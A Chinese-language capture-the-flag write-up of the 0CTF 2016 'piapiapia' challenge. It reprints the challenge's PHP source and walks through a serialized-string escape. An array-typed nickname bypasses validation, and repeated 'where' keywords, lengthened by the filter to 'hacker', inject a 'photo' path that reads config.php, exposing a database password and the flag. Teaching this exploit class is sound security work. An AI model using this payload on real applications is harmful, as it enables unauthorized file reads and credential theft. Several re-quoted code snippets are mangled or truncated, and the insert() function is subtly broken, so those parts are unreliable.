php反序列化長度變化尾部字串逃逸(0CTF-2016-piapiapia)
一個很可愛的登入介面:
進行一下目錄掃描,發現原始碼洩露www.zip,把原始碼給出:
index.php
<?php require_once('class.php'); if($_SESSION['username']) { header('Location: profile.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if($user->login($username,$password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Login</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">LOGIN</button> </form> </div> </body> </html> <?php } ?>
在輸入賬號密碼之後進入了profile.php,下面是profile.php的原始碼:
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> <!DOCTYPE html> <html> <head> <title>Profile</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Hi <?php echo $nickname;?></h3> <label>Phone: <?php echo $phone;?></label> <label>Email: <?php echo $email;?></label> </div> </body> </html> <?php } ?>
還有註冊頁面的原始碼(沒有太大用),register.php:
<?php require_once('class.php'); if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if(!$user->is_exists($username)) { $user->register($username,$password); echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>'; } else { die('User name Already Exists'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Register</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">REGISTER</button> </form> </div> </body> </html> <?php } ?>
然後是update.php:
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/',$_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/',$_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/',$_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'],'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username,serialize($profile)); echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>'; } else { ?> <!DOCTYPE html> <html> <head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Please Update Your Profile</h3> <label>Phone:</label> <input type="text" name="phone" style="height:30px"class="span3"/> <label>Email:</label> <input type="text" name="email" style="height:30px"class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" style="height:30px" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" style="height:30px"class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </div> </body> </html> <?php } ?>
核心的處理程式碼,class.php:
<?php require('config.php'); class user extends mysql{ private $table = 'users'; public function is_exists($username) { $username = parent::filter($username); $where = "username = '$username'"; return parent::select($this->table,$where); } public function register($username,$password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username','password'); $value_list = Array($username,md5($password)); return parent::insert($this->table,$key_list,$value_list); } public function login($username,$password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table,$where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table,$where); return $object->profile; } public function update_profile($username,$new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table,'profile',$new_profile,$where); } public function __tostring() { return __class__; } } class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'],$config['username'],$config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table,$where,$ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql,$this->link); return mysql_fetch_object($result); } public function insert($table,$value_list) { $key = implode(',',$key_list); $value = '\'' . implode('\',\'',$value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table,$key,$value,$where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array('\'','\\\\'); $escape = '/' . implode('|',$escape) . '/'; $string = preg_replace($escape,'_',$string); $safe = array('select','insert','update','delete','where'); $safe = '/' . implode('|',$safe) . '/i'; return preg_replace($safe,'hacker',$string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
最後是config.php:
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?>
看來flag就是在config.php中了,要想辦法拿到config.php的內容了。
然後就是程式碼審計了。
seay程式碼審計系統也可以給點線索的:
這個地方貌似有個檔案讀取的地方,在profile.php中:
else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
上面還有個反序列化unserialize,感覺有戲,如果$profile[‘photo']是config.php就可以讀取到了,可以對photo進行操作的地方在update.php,有phone、email、nickname和photo這幾個。
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";} print_r(unserialize($profile));
結果如下:
Array ( [phone] => 12345678901 [email] => [email protected] [nickname] => sea_sand [photo] => config.php )
可以看到反序列化之後,最後面upload這一部分就沒了,下面就是想辦法把config.php塞進去了。
從陣列順序上看是和上面陣列的順序一樣的,可以抓個包看下post順序,那麼最有可能的就是從nickname下手了。
在設定了$profile之後,用update_profile()函式進行處理:
public function update_profile($username,$where); }
進行了過濾:
public function filter($string) { $escape = array('\'',$string); }
有兩個正則過濾,帶上輸入nickname時候有一個正則,總共三個過濾的地方,首先要繞過第一個輸入時候的正則:
if(preg_match('/[^a-zA-Z0-9_]/',$_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); 陣列即可繞過: nickname[]= 那麼$profile就是這樣了: $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
後面的正則要怎麼利用呢,可以看到如果我們輸入的有where,會替換成hacker,這樣的話長度就變了,序列化後的每個變數都是有長度的,那麼反序列化會怎麼處理呢?我們應該怎麼構造呢?
陣列繞過了第一個正則過濾之後,如果nickname最後面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34個字元,如果利用正則替換34個where,不就可以把這34個給擠出去,後面的upload因為序列化串被我們閉合了也就沒用了:
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
在where被正則匹配換成hacker之後,正好滿足長度,然後後面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的時候就會被當成photo,就可以讀取到config.php的內容了。
下面開始操作:註冊之後登陸,進入到update.php頁面,輸入資訊及上傳圖片,用bp抓包把nickname改成陣列即可:
然後進入到profile中檢視圖片資訊,把base64碼解碼:
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==
解碼得到:
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = 'qwertyuiop'; $config['database'] = 'challenges'; $flag = 'flag{0ctf_2016_unserialize_is_very_good!}'; ?>
總結
以上所述是小編給大家介紹的php反序列化長度變化尾部字串逃逸(0CTF-2016-piapiapia),希望對大家有所幫助!